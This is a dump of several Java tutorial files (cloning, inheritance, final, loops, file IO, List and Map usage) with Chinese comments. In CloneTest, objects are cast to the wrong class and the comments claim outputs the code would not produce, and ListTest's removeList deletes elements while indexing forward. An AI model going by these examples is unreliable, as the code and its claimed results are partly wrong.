    "content": "package com.jun.plugin.basics;\n\n/**\n * \n* @Title: CloneTest\n* @Description: 克隆测试\n* @Version:1.0.0  \n* @author pancm\n* @date 2017-7-24\n */\npublic class CloneTest {  \n    public static void main(String args[]) {  \n    \t\n    \t/*\n    \t * 浅拷贝1\n    \t */\n        Student stu1 = new Student();  \n        stu1.setNumber(12345);  \n        Student stu2 = (Student)stu1.clone();  \n\n        System.out.println(\"学生1:\" + stu1.getNumber());  //12345 \n        System.out.println(\"学生2:\" + stu2.getNumber());  //12345\n        \n        stu2.setNumber(54321);  \n        //说明拷贝成功\n        System.out.println(\"学生1:\" + stu1.getNumber());  //12345\n        System.out.println(\"学生2:\" + stu2.getNumber());  //54321\n        \n        System.out.println(stu1==stu2);//false\n        \n         \n        /*\n         *  浅拷贝2\n         *  是浅复制只是复制了addr变量的引用，并没有真正的开辟另一块空间，将值复制后再将引用返回给新对象。\n    \t\t所以，为了达到真正的复制对象，而不是纯粹引用复制。\n         */\n        Address addr = new Address();  \n        addr.setAdd(\"杭州市\");  \n        Student2 student1 = new Student2();  \n        student1.setNumber(123);  \n        student1.setAddr(addr);  \n        Student2 student2 = (Student2)stu1.clone();  \n         \n         //学生1:123,地址:杭州市\n        System.out.println(\"学生1:\" + student1.getNumber() + \",地址:\" + student1.getAddr().getAdd());  \n        //学生2:123,地址:杭州市\n        System.out.println(\"学生2:\" + student2.getNumber() + \",地址:\" + student2.getAddr().getAdd());  \n        \n        addr.setAdd(\"深圳市\");\n        //学生1:123,地址:深圳市\n        System.out.println(\"学生1:\" + student1.getNumber() + \",地址:\" + student1.getAddr().getAdd());  \n        //学生1:123,地址:深圳市\n        System.out.println(\"学生2:\" + student2.getNumber() + \",地址:\" + student2.getAddr().getAdd());  \n   \n        \n         /*\n          * 浅克隆3\n          * 是浅复制只是复制了addr变量的引用，并没有真正的开辟另一块空间，将值复制后再将引用返回给新对象。\n\t\t            所以，为了达到真正的复制对象，而不是纯粹引用复制。\n          */\n        Address3 addr3 = new Address3();  \n        addr.setAdd(\"杭州市\");  \n        Student3 st1 = new Student3();  \n        st1.setNumber(123);  \n        st1.setAddr(addr3);  \n        Student3 st2 = (Student3)stu1.clone();  \n         \n         //学生1:123,地址:杭州市\n        System.out.println(\"学生1:\" + st1.getNumber() + \",地址:\" + st1.getAddr().getAdd());  \n        //学生2:123,地址:杭州市\n        System.out.println(\"学生2:\" + st2.getNumber() + \",地址:\" + st2.getAddr().getAdd());  \n        \n        addr3.setAdd(\"武汉市\");\n        //学生1:123,地址:武汉市\n        System.out.println(\"学生1:\" + st1.getNumber() + \",地址:\" + st1.getAddr().getAdd());  \n        //学生1:123,地址:杭州市\n        System.out.println(\"学生2:\" + st2.getNumber() + \",地址:\" + st2.getAddr().getAdd());  \n        \n        \n    }  \n}  \n\n\n/*\n * 浅克隆1\n */\n//被复制的类需要实现Cloneable接口 重写Object方法\nclass Student implements Cloneable{  \n  private int number;  \n\n  public int getNumber() {  \n      return number;  \n  }  \n\n  public void setNumber(int number) {  \n      this.number = number;  \n  }  \n\n  @Override  \n  public Object clone() {  \n      Student stu = null;  \n      try{  \n          stu = (Student)super.clone();  \n      }catch(CloneNotSupportedException e) {  \n          e.printStackTrace();  \n      }  \n      return stu;  \n  }  \n}  \n\n\n\n/*\n * 浅克隆2\n */\n//该对象不继承Cloneable\nclass Address  {  \n\t    private String add;  \n\t  \n  public String getAdd() {  \n       return add;  \n   }  \n \n   public void setAdd(String add) {  \n       this.add = add;  \n   }         \n}  \n \n//此对象依旧继承 Cloneable\nclass Student2 implements Cloneable{  \n   private int number;  \n \n   private Address addr;  \n     \n   public Address getAddr() {  \n       return addr;  \n   }  \n \n   public void setAddr(Address addr) {  \n       this.addr = addr;  \n   }  \n \n   public int getNumber() {  \n       return number;  \n   }  \n \n   public void setNumber(int number) {  \n       this.number = number;  \n   }  \n     \n   @Override  \n   public Object clone() {  \n       Student2 stu = null;  \n       try{  \n           stu = (Student2)super.clone();  \n       }catch(CloneNotSupportedException e) {  \n           e.printStackTrace();  \n       }  \n       return stu;  \n   }  \n}  \n\n\n/*\n * 浅克隆3\n */\n//该对象继承Cloneable\nclass Address3 implements Cloneable {  \n\tprivate String add;  \n  public String getAdd() {  \n       return add;  \n   }  \n \n   public void setAdd(String add) {  \n       this.add = add;  \n   }   \n   \n   @Override \n   public Object clone(){\n  \t Address3 addr=null;\n  \t try{\n  \t\t addr=(Address3)super.clone();\n  \t }catch(CloneNotSupportedException e){\n  \t\t e.printStackTrace();\n  \t }\n  \treturn addr;\n   }\n}  \n \n//此对象依旧继承 Cloneable\nclass Student3 implements Cloneable{  \n   private int number;  \n \n   private Address3 addr;  \n     \n   public Address3 getAddr() {  \n       return addr;  \n   }  \n \n   public void setAddr(Address3 addr) {  \n       this.addr = addr;  \n   }  \n \n   public int getNumber() {  \n       return number;  \n   }  \n \n   public void setNumber(int number) {  \n       this.number = number;  \n   }  \n     \n   @Override  \n   public Object clone() {  \n       Student3 stu = null;  \n       try{  \n           stu = (Student3)super.clone();   //浅复制 \n       }catch(CloneNotSupportedException e) {  \n           e.printStackTrace();  \n       }  \n       stu.addr = (Address3)addr.clone();   //深度复制 \n       return stu;  \n   }  \n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/ExtendTest.java",
    "content": "package com.jun.plugin.basics;\n\n\n/**\n * \n* @Title: ExtendTest\n* @Description:\n* 继承测试 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年3月27日\n */\npublic class ExtendTest {\n\n    public static void main(String[] args) {\n        Cat1 cat=new Cat1();\n        Dog1 dog=new Dog1();\n        cat.eat();\n        cat.sleep(\"cat\");\n        cat.climbTree();\n        dog.eat(\"dog\");\n        dog.sleep(\"dog\");\n    }\n}\n\nclass  Animal1{\n    public void eat(String name){\n        System.out.println(name+\"正在吃东西...\");\n    }\n    public void sleep(String name){\n        System.out.println(name+\"正在睡觉...\");\n    }\n}\n\nclass Cat1 extends Animal1{\n    private String name=\"Cat\";\n    public void eat(){\n        super.eat(name);\n        System.out.println(name+\"吃完了\");\n    }\n    public void sleep(){\n        this.sleep(name);\n    }\n    \n    public void sleep(String name){\n        System.out.println(name+\"刚刚睡觉!\");\n    }\n    \n    public void climbTree(){\n        System.out.println(name+\"正在爬树!\");\n    }\n}\n\nclass Dog1 extends Animal1{\n    \n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/ExtendsTest2.java",
    "content": "package com.jun.plugin.basics;\n\n/**\n * \n* @Title: ExtendsTest2\n* @Description: 继承测试  经典题\n* @Version:1.0.0  \n* @author pancm\n* @date 2017年6月2日\n */\npublic class ExtendsTest2 {  \n    public static void main(String[] args) {  \n        A a1 = new A();  \n        A a2 = new B();  \n        B b = new B();  \n        C c = new C();  \n        D d = new D();  \n          \n        System.out.println(\"1--\" + a1.show(b));   //A and A\n        System.out.println(\"2--\" + a1.show(c));   //A and A\n        System.out.println(\"3--\" + a1.show(d));   //A and D\n        System.out.println(\"4--\" + a2.show(b));   //B and A\n        System.out.println(\"5--\" + a2.show(c));   //B and A\n        System.out.println(\"6--\" + a2.show(d));   //A and D\n        System.out.println(\"7--\" + b.show(b));    //B and B\n        System.out.println(\"8--\" + b.show(c));    //B and B\n        System.out.println(\"9--\" + b.show(d));    //A and D    \n    }  \n} \n\nclass A {  \n    public String show(D obj) {  \n        return (\"A and D\");  \n    }  \n  \n    public String show(A obj) {  \n        return (\"A and A\");  \n    }   \n  \n}  \n  \n class B extends A{  \n    public String show(B obj){  \n        return (\"B and B\");  \n    }  \n      \n    public String show(A obj){  \n        return (\"B and A\");  \n    }   \n}  \n  \n class C extends B{  \n  \n}  \n  \n class D extends B{  \n  \n}  \n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/FinalTest.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.util.Date;\n\n\n/**\n * \n* Title: FinalTest\n* Description:\n*  final测试\n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月21日\n */\npublic class FinalTest{\n\t//定义一个final修饰的变量\n    public  static final String name=\"xuwujing\";\n    \n\tpublic static void main(String[] args) {\n\t\t//这句会报错  因为该变量已经被final修饰了\n//\t\tname=\"张三\";\n\t}\n\t//类加上final之后，该类是无法被继承的\n\tfinal class Test2{\n\t}\n\t//这句会报错，因为Test2是被final修饰的类\n//\tclass Test3 extends Test2{\n//\t}\n\t\n\tclass Test4{\n\t\t//定义一个被final修饰的方法\n\t\t final Date getTime(){\n\t\t\treturn new Date();\n\t\t}\n\t}\n\t\n\tclass Test5 extends Test4{\n\t\t//这句会报错，因为final方法是不能被子类修改的。\n//\t\tDate getTime(){\n//\t\t\treturn new Date();\n//\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/ForTest.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.List;\n\n/**\n * \n* @Title: ForTest\n* @Description: 循环测试 \n* @Version:1.0.0  \n* @author pancm\n* @date 2017年9月29日\n */\npublic class ForTest {\n\t public static void main(String[] args) {\n\t\t  /*\n\t\t   * 阿里巴巴开发手册中的遍历移除测试\n\t\t   */\n\t\t iteratorTest();\n\t\t forEachTest();\n\t }\n\t private static void forEachTest(){\n\t\t List<String> list = new ArrayList<String>();\n\t\t list.add(\"1\");\n\t\t list.add(\"2\");\n\t\t System.out.println(\"list1:\"+list);\n\t\t for (String item : list) {\n\t\t\t //如果是1就不会出现\n\t\t   if (\"2\".equals(item)) {\n\t\t    list.remove(item);\n\t\t    //加上break就不会抛异常\n//\t\t    break; \n\t\t }\n\t   } \n\t\tSystem.out.println(\"list2:\"+list);\n\t } \n\t private static void iteratorTest(){\n\t\t List<String> list = new ArrayList<String>();\n\t\t list.add(\"1\");\n\t\t list.add(\"2\");\n\t\t System.out.println(\"list3:\"+list);\n\t\t Iterator<String> iterator = list.iterator();\n\t\t while (iterator.hasNext()) {\n\t\t\t String item = iterator.next();\n\t\t\t if (\"2\".equals(item)) {\n\t\t\t\t iterator.remove();\n\t\t\t }\n\t\t }\n\t\t System.out.println(\"list4:\"+list);\n\t   } \n\t \n\t \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/IoTest.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.io.BufferedReader;\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.FileReader;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.OutputStreamWriter;\nimport java.util.Properties;\n\n/**\n* @Title: IoTest\n* @Description: \n* io字符流和字节流测试\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年6月11日\n*/\npublic class IoTest {\n\n\tpublic static void main(String[] args)  {\n\t\ttry {\n//\t\t\ttest();\n//\t\t\ttest2();\n//\t\t\ttest3();\n//\t\t\ttest4();\n\t\t\ttest5();\n//\t\t\ttest6();\n//\t\t\ttest7();\n\t\t\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\t\n\t\n\t\n\n\t/**\n\t * 字符流\n\t * @throws IOException\n\t */\n\tprivate static void test() throws IOException {\n\t\t   String str;\n\t\t    // 使用 System.in 创建 BufferedReader \n\t\t    BufferedReader br = new BufferedReader(new InputStreamReader(System.in));\n\t\t    System.out.println(\"输入字符, 输入 'quit' 退出。\");\n\t\t    // 读取字符\n\t\t    do {\n\t\t       str=br.readLine();\n\t\t       System.out.println(\"您输入的字符是:\"+str);\n\t\t    } while(!str.equals(\"quit\"));\n\t\t    br.close();\n\t}\n\t\n\t/**\n\t * 字节流\n\t * 创建一个文件并新增一条记录\n\t * @throws IOException\n\t */\n\tprivate static void test2() throws IOException {\n\t\tString path=\"E:/test/hello.txt\";\n\t\tString str=\"hello world\";\n\t\t//创建一个文件并向文件中写数据 需要文件夹存在\n\t\tOutputStream output = new FileOutputStream(path);\n\t\toutput.write(str.getBytes());\n\t\toutput.close();\n\t}\t\n\t\n\t/**\n\t * 写入和读取文件\n\t * @throws IOException\n\t */\n\tprivate static void test3() throws IOException {\n\t\t//创建要操作的文件路径和名称  \n        String path =\"E:/test/hello.txt\";\n        String str=\"你好!\";\n        FileWriter fw = new FileWriter(path);  \n        BufferedWriter bw=new BufferedWriter(fw);\n        bw.write(str);  \n        bw.close();\n        fw.close();  \n        \n        FileReader fr = new FileReader(path);  \n        BufferedReader br=new BufferedReader(fr);\n        StringBuffer sb=new StringBuffer();\n  \t\twhile(br.ready()){\n  \t\t\tsb.append((char)br.read());\n  \t\t}\n        System.out.println(\"输出:\"+sb.toString());\n        br.close();\n        fr.close();\n\t}\t\n\t\n\t\n\t\n\t\n\t/**\n\t * 字节流\n\t * 创建一个文件并读取记录 防止乱码\n\t * @throws IOException\n\t */\n\tprivate static void test4() throws IOException {\n\t\tString path=\"E:/test/hello.txt\";\n\t\tString path2=\"E:/test/你好.txt\";\n\t\tString str=\"你好!\";\n\t\t//从文件读取数据\n\t\tInputStream input = new FileInputStream(path);\n\t\tInputStreamReader reader = new InputStreamReader(input, \"UTF-8\");\n\t    StringBuffer sb=new StringBuffer();\n\t\twhile(reader.ready()){\n\t\t\tsb.append((char)reader.read());\n\t\t}\n\t\t\n\t\tinput.close();\n\t\treader.close();\n\t\t\n\t\t//创建一个文件并向文件中写数据\n\t\tOutputStream output = new FileOutputStream(path2);\n\t\tOutputStreamWriter writer = new OutputStreamWriter(output, \"UTF-8\");\n\t\twriter.write(sb+str);\n\t\t\n\t\twriter.close();\n\t\toutput.close();\n\t\t\n\t\t//从文件读取数据\n\t\tInputStream input2 = new FileInputStream(path2);\n\t\tInputStreamReader reader2 = new InputStreamReader(input2, \"UTF-8\");\n\t    StringBuffer sb2=new StringBuffer();\n\t\twhile(reader2.ready()){\n\t\t\tsb2.append((char)reader2.read());\n\t\t}\n\t\tSystem.out.println(\"输出:\"+sb2);\n\t\tinput2.close();\n\t\treader2.close();\n\t}\t\n\t\n\t\n\t\n\t/**\n\t * 字符流\n\t * 写入和读取文件\n\t * @throws IOException\n\t */\n\tprivate static void test6() throws IOException {\n\t\t//创建要操作的文件路径和名称  \n        //其中，File.separator表示系统相关的分隔符，Linux下为：/  Windows下为：\\\\  \n        String path =\"E:/test2/hello.txt\";\n        String str=\"hello world\";\n        FileWriter fw = new FileWriter(path);  \n        //以path为路径创建一个新的FileWriter对象  \n        //如果需要追加数据，而不是覆盖，则使用FileWriter（path，true）构造方法  \n        //将字符串写入到流中，\\r\\n表示换行想有好的  \n        fw.write(str);  \n        fw.close();  \n        \n        FileReader fr = new FileReader(path);  \n        StringBuffer sb=new StringBuffer();\n  \t\twhile(fr.ready()){\n  \t\t\tsb.append((char)fr.read());\n  \t\t}\n        System.out.println(\"输出:\"+sb.toString());\n        fr.close();\n\t}\n\t\n\t\n\t/**\n\t * 字符流\n\t * 写入和读取文件\n\t * @throws IOException\n\t */\n\tprivate static void test7() throws IOException {\n\t\t//创建要操作的文件路径和名称  \n        String path =\"E:/test2/hello.txt\";\n        Properties prop=new Properties();\n        prop.setProperty(\"name\", \"zz\");\n        FileWriter fw = new FileWriter(path);  \n        BufferedWriter bw=new BufferedWriter(fw);\n        bw.write(prop.toString());  \n        bw.close();\n        fw.close();  \n        \n        FileReader fr = new FileReader(path);  \n        BufferedReader br=new BufferedReader(fr);\n        StringBuffer sb=new StringBuffer();\n  \t\twhile(br.ready()){\n  \t\t\tsb.append((char)br.read());\n  \t\t}\n        System.out.println(\"输出:\"+sb.toString());\n        br.close();\n        fr.close();\n\t}\n\t\n\t\n\t\n\t/**\n\t * 新建文件夹和文件\n\t * @throws IOException\n\t */\n\tprivate static void test5() throws IOException {\n\t\tString path=\"E:/test/test2\";\n\t\tString path2=\"E:/test/test3/test3\";\n\t\tString path3=\"E:/test/test2/test2.txt\";\n\t\tFile f = new File(path);\n\t\tFile f2 = new File(path2);\n\t\tFile f3 = new File(path3);\n\t\tSystem.out.println(f.exists());\n\t\t//创建文件夹\n\t\tSystem.out.println(\"=\"+f.mkdir());\n\t\t//创建文件夹和所有父文件夹\n\t\tSystem.out.println(\"==\"+f2.mkdirs());\n\t\t//创建一个文本\n\t\tSystem.out.println(\"===\"+f3.createNewFile());\n\t\t//获取名称\n\t\tSystem.out.println(\"===\"+f3.getName());\n\t\t//获取父级名称\n\t\tSystem.out.println(\"===\"+f3.getParent());\n\t\t//获取当前路径\n\t\tSystem.out.println(\"===\"+f3.getPath());\n\t\t//判断是否是目录\n\t\tSystem.out.println(\"==\"+f2.isDirectory());\n\t\tSystem.out.println(\"===\"+f3.isDirectory());\n\t\t//删除该文件\n\t\tSystem.out.println(\"===\"+f3.delete());\n\t\t\n\t}\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/ListTest.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Iterator;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Vector;\nimport java.util.stream.Collectors;\n\n/**\n * \n* @Title: ListTest\n* @Description:关于list测试 \n* @Version:1.0.0  \n* @author pancm\n* @date 2017年10月13日\n */\npublic class ListTest {\n\t\n\tprivate final static int count=50000;\n\t\n\tprivate static ArrayList arrayList = new ArrayList<>();  \n    private static LinkedList linkedList = new LinkedList<>();  \n    private static Vector vector = new Vector<>();  \n\t \n\n\tpublic static void main(String[] args) {\n//\t\ttest1();\n//\t\ttest2();\n\t\ttest3();\n//\t\ttest4();\n//\t\ttest5();\n\t\t\n\t\t\n\t\tVector<String> v=new Vector<>();\n\t}\n\t \n\t\n\t/**\n\t * 遍历方法\n\t */\n\tprivate static void test1() {\n\t List<String> list=new ArrayList<String>();\n     list.add(\"a\");\n     list.add(\"b\");\n     list.add(\"c\");\n     \n     System.out.println(\"list截取:\"+list.subList(0, 1));\n     System.out.println(\"list截取:\"+list.subList(1, 3));\n     \n     \n     //第一种使用\n     for(int i=0;i<list.size();i++){\n    \t System.out.println(list.get(i));\n     }\n     //第二种遍历方法使用foreach遍历List\n     for (String str : list) {  \n    \t System.out.println(str);\n     }\n     \n     //第三种遍历 使用迭代器进行相关遍历\n     Iterator<String> iterator=list.iterator();\n     while(iterator.hasNext())//判断下一个元素之后有值\n     {\n         System.out.println(iterator.next());\n     }\n\t}\n\t\n\t/**\n\t * 数组变化遍历\n\t */\n\tprivate static void test2() {\n\t\t\n\t\tList<String> list1 = new ArrayList<String>();\n\t\t list1.add(\"1\");\n\t\t list1.add(\"2\");\n\t\tSystem.out.println(\"list1遍历之前:\"+list1);\n\t\t Iterator<String> iterator = list1.iterator();\n\t\t while (iterator.hasNext()) {\n\t\t\t String item = iterator.next();\n\t\t\t if (\"2\".equals(item)) {\n\t\t\t\t iterator.remove();\n\t\t\t }\n\t\t }\n\t\t System.out.println(\"list1遍历之后:\"+list1);\n\t\t\n\t\t List<String> list = new ArrayList<String>();\n\t\t list.add(\"1\");\n\t\t list.add(\"2\");\n\t\t System.out.println(\"list遍历之前:\"+list);\n\t\t for (String item : list) {\n\t\t   if (\"2\".equals(item)) {\n\t\t    list.remove(item);\n\t\t    //如果这里不适用break的话，会直接报错的\n\t\t    break; \n\t\t }\n\t   } \n\t\tSystem.out.println(\"list遍历之后:\"+list);\n\t\t\n\t\t\n\t}\n\t\n\t\n\t/**\n\t * 常用方法\n\t */\n\tprivate static void test3() {\n\t\tList<Integer> list=initData(100);\n\t\tSystem.out.println(\"list:\"+list);\n\t\tSystem.out.println(\"removeList:\"+removeList(list,10,20));\n\t\tlist.subList(10, 20).clear();\n\t\tSystem.out.println(\"subList:\"+list);\n\t\t\n\t\tList<String> ls1=new ArrayList<String>();\n\t\tList<String> ls2=new ArrayList<String>();\n\t\tls1.add(\"a\");\n\t\tls1.add(\"b\");\n\t\tls1.add(\"c\");\n\t\tls2.add(\"a\");\n\t\tls2.add(\"b\");\n\t\tls2.add(\"c\");\n\t\tls2.add(\"e\");\n//        System.out.println(\"合集:\"+addAll(ls1,ls2));\t\t\t\n//        System.out.println(\"交集 :\"+retainAll(ls1,ls2));\t\t\n        System.out.println(\"差集 :\"+removeAll(ls2,ls1));\t\t\n//        System.out.println(\"并集 :\"+andAll(ls1,ls2));\t\t\n\t\t\n\t}\n\t\n\tprivate static  void test4() {\n\t\tLinkedList<Integer> list=new LinkedList<Integer>();\t\n\t\tlist.add(3);\n\t\tlist.add(5);\n\t\tlist.add(4);\n\t\tSystem.out.println(list);\n\t\tlist.addFirst(2);\n\t\tlist.addLast(4);\n\t\tSystem.out.println(list);\n\t\t\n\t\tLinkedList<Integer> list2=new LinkedList<Integer>();\n\t\tlist2.add(1);\n\t\tlist2.add(2);\n\t\tlist2.add(4);\n\t\tlist2.add(4);\n\t\tlist2.add(6);\n\t\tlist2.add(6);\n\t\tlist2.add(5);\n\t\tSystem.out.println(\"去重之前:\"+list2);\n\t\t//jdk1.8去重\n\t\tList<Integer> newList = list2.stream().distinct().collect(Collectors.toList()); \n\t\tSystem.out.println(\"去重之后:\"+newList);\n\t\t\n\t}\n\t\n\tprivate static  void test5() {\n\t\tinsertList(arrayList);\n\t\tinsertList(linkedList);\n\t\tinsertList(vector);\n\t\t\n\t\tSystem.out.println(\"--------------------\");\n\t\t\n\t\treadList(arrayList);\n\t\treadList(linkedList);\n\t\treadList(vector);\n\t\t\n\t\tSystem.out.println(\"--------------------\");\n\t\t\n\t\tdelList(arrayList);\n\t\tdelList(linkedList);\n\t\tdelList(vector);\n\t\t\n\t}\n\t\n\t\n\tprivate  static void insertList(List list){   \n\t     long start=System.currentTimeMillis();   \n\t     Object o = new Object();   \n\t     for(int i=0;i<count;i++){   \n\t         list.add(0, o);   \n\t     }\n\t    System.out.println(getName(list)+\"插入\"+count+\"条数据，耗时:\"+(System.currentTimeMillis()-start)+\"ms\");\n\t }   \n\t\n\tprivate  static void readList(List list){   \n\t     long start=System.currentTimeMillis();   \n\t     Object o = new Object();   \n\t     for(int i = 0 ; i < count ; i++){  \n\t            list.get(i);  \n\t        }\n\t    System.out.println(getName(list)+\"查询\"+count+\"条数据，耗时:\"+(System.currentTimeMillis()-start)+\"ms\");\n\t }  \n\t\n\t\n\tprivate  static void delList(List list){   \n\t     long start=System.currentTimeMillis();   \n\t     Object o = new Object();   \n\t     for(int i = 0 ; i < count ; i++){  \n\t    \t list.remove(0);   \n\t        }\n\t    System.out.println(getName(list)+\"删除\"+count+\"条数据，耗时:\"+(System.currentTimeMillis()-start)+\"ms\");\n\t }  \n\t\n\tprivate static String getName(List list) {  \n        String name = \"\";  \n        if(list instanceof ArrayList){  \n            name = \"ArrayList\";  \n        }  \n        else if(list instanceof LinkedList){  \n            name = \"LinkedList\";  \n        }  \n        else if(list instanceof Vector){  \n            name = \"Vector\";  \n        }  \n        return name;  \n    }  \n\t\n\t/**\n\t * for循环移除指定数据\n\t * @param list \n\t * @param s  要移除的起始位置\n\t * @param d  要移除的最后位置 \n\t */\n\tprivate static List<Integer> removeList(List<Integer> list,int s,int d){\n\t\tfor(int i=0,j=list.size();i<j;i++){\n\t\t\tif(i>=s&&i<d){\n\t\t\t\tlist.remove(i);\n\t\t\t}\n\t\t}\n\t\treturn list;\n\t}\n    \n\t/**\n\t * 获取数组数据\n\t * @param j\n\t * @return\n\t */\n\tprivate static List<Integer> initData(int j){\n\t\t List<Integer> list=new ArrayList<Integer>();  \n\t\t for(int i=1;i<=j;i++){\n\t\t\t list.add(i);\n\t\t }\n\t\treturn list;\n\t}\n\t\n\t/**\n\t * 数组合集\n\t * @param ls1\n\t * @param ls2\n\t * @return\n\t */\n\tprivate static List<String> addAll(List<String> ls1,List<String>ls2){\n\t\tls1.addAll(ls2);\n\t\treturn ls1;\n\t}\n\t\n\t/**\n\t * 数组交集 （retainAll 会删除 ls1在ls2中没有的元素）\n\t * @param ls1\n\t * @param ls2\n\t * @return\n\t */\n\tprivate static List<String> retainAll(List<String> ls1,List<String>ls2){\n\t\tSystem.out.println(\"ls1:\"+ls1+\";ls2:\"+ls2);\n\t\tls1.retainAll(ls2);\n\t\treturn ls1;\n\t}\n\t\n\t/**\n\t * 差集 (删除ls2中没有ls1中的元素)\n\t * @param ls1\n\t * @param ls2\n\t * @return\n\t */\n\tprivate static List<String> removeAll(List<String> ls1,List<String>ls2){\n\t\tSystem.out.println(\"ls1:\"+ls1+\";ls2:\"+ls2);\n\t\tls1.removeAll(ls2);\n\t\treturn ls1;\n\t}\n\t\n\t/**\n\t * 无重复的并集 (ls1和ls2中并集，并无重复)\n\t * @param ls1\n\t * @param ls2\n\t * @return\n\t */\n\tprivate static List<String> andAll(List<String> ls1,List<String>ls2){\n\t\t//删除在ls1中出现的元素\n\t\tls2.removeAll(ls1);\n\t\t//将剩余的ls2中的元素添加到ls1中\n\t\tls1.addAll(ls2);\n\t\tSystem.out.println(ls1+\";ls2:\"+ls2);\n\t\treturn ls1;\n\t}\n} \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/MapTest.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Map.Entry;\nimport java.util.TreeMap;\n\n/**\n * \n* Title: MapTest\n* Description:集合map测试 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年11月16日\n */\npublic class MapTest {\n\tprivate static Map<String,String> map = new HashMap<String,String>();\n\t\n\tpublic static Map<String,String> getHashMap(){\n\t\tif(map == null || map.isEmpty()){\n\t\t\tmap = new HashMap<String,String>();\n\t\t}\n\t\treturn  map;\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\t//普通的HashMap \n//\t\tMap<String,String> map=mapTest.getHashMap();\n//\t\tmap.put(\"a\", \"1\");\n//\t\tmap.put(\"b\", \"1\");\n//\t\tmap.put(\"c\", \"e\");\n//\t\tSystem.out.println(map.toString());\n//\t\tMap<String,String> map1=mapTest.getHashMap();\n//\t\tSystem.out.println(\"-----\"+map1.get(\"a\"));\n\t\t\n\t\t//上锁的HashMap\n//\t\tMap<String,String> sMap=Collections.synchronizedMap(new HashMap());\n\t\t\n//\t\tgetMap1();\n\t\t\n\t\ttest1();\n\t\ttest2();\n\t}\n\n\t\n\t\n\tprivate static void test1() {\n\t\t Map<String, String> map = new HashMap<String, String>();\n\t      map.put(\"1\", \"value1\");\n\t      map.put(\"2\", \"value2\");\n\t      map.put(\"3\", \"value3\");\n\t      //第一种：普遍使用，二次取值\n\t      System.out.println(\"通过Map.keySet遍历key和value：\");\n\t      for (String key : map.keySet()) {\n\t       System.out.println(\"key= \"+ key + \" and value= \" + map.get(key));\n\t      }\n\t      \n\t      //第二种 使用迭代器Iterator进行遍历\n\t      System.out.println(\"通过Map.entrySet使用iterator遍历key和value：\");\n\t      Iterator<Map.Entry<String, String>> it = map.entrySet().iterator();\n\t      while (it.hasNext()) {\n\t       Map.Entry<String, String> entry = it.next();\n\t       System.out.println(\"key= \" + entry.getKey() + \" and value= \" + entry.getValue());\n\t      }\n\t      \n\t      //第三种：使用entrySet遍历 推荐，尤其是容量大时\n\t      System.out.println(\"通过Map.entrySet遍历key和value\");\n\t      for (Map.Entry<String, String> entry : map.entrySet()) {\n\t       System.out.println(\"key= \" + entry.getKey() + \" and value= \" + entry.getValue());\n\t      }\n\t}\n\t\n\tprivate static void test2() {\n\t\tMap<String,Object> hashMap=new HashMap<String,Object>();\n\t\thashMap.put(\"a\", 1);\n\t\thashMap.put(\"c\", 3);\n\t\thashMap.put(\"b\", 2);\n\t\tSystem.out.println(\"HashMap:\"+hashMap);\n\t\t\n\t\tMap<String,Object> treeMap=new TreeMap<String,Object>();\n\t\ttreeMap.put(\"a\", 1);\n\t\ttreeMap.put(\"c\", 3);\n\t\ttreeMap.put(\"b\", 2);\n\t\tSystem.out.println(\"TreeMap:\"+treeMap);\n\t\t\n\t}\n\t\n\t\n\t\n\t\n\t\n\t@SuppressWarnings(\"unused\")\n\tprivate static void getMap1(){\n\t\tMap<Integer,Integer> map1 =new HashMap<Integer,Integer>();\n\t\tMap<Integer,Integer> map2 =new HashMap<Integer,Integer>();\n\t\tmap1.put(1, 1);\n\t\tmap1.put(2, 2);\n\t\tmap1.put(3, 3);\n\t\tmap2.put(11, 11);\n\t\tmap2.put(22, 22);\n\t\tmap2.put(33, 33);\n\t\tMap<Integer,Map<Integer,Integer>> map3 =new HashMap<Integer,Map<Integer,Integer>>();\n\t\tmap3.put(1, map1);\n\t\tmap3.put(2, map2);\n\t\t\n\t\tSystem.out.println(\"map3:\"+map3);\n\t\tStringBuffer sb=new StringBuffer();\n\t\tfor(Entry<Integer,Map<Integer,Integer>> entry:map3.entrySet()){\n\t\t\tsb.append(entry.getKey());\n\t\t\tsb.append(\":\");\n\t\t\tMap<Integer,Integer> map4=entry.getValue();\n\t\t\t\tfor(Entry<Integer,Integer> entry1:map4.entrySet()){\n\t\t\t\t\tsb.append(entry1.getKey());\n\t\t\t\t\tsb.append(\"_\");\n\t\t\t\t\tsb.append(entry1.getValue());\n\t\t\t\t\tsb.append(\",\");\n\t\t\t\t}\n\t\t\t\n\t\t}\n\t\tsb.deleteCharAt(sb.lastIndexOf(\",\"));\n\t\tSystem.out.println(\"sb:\"+sb);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/PackagingTest.java",
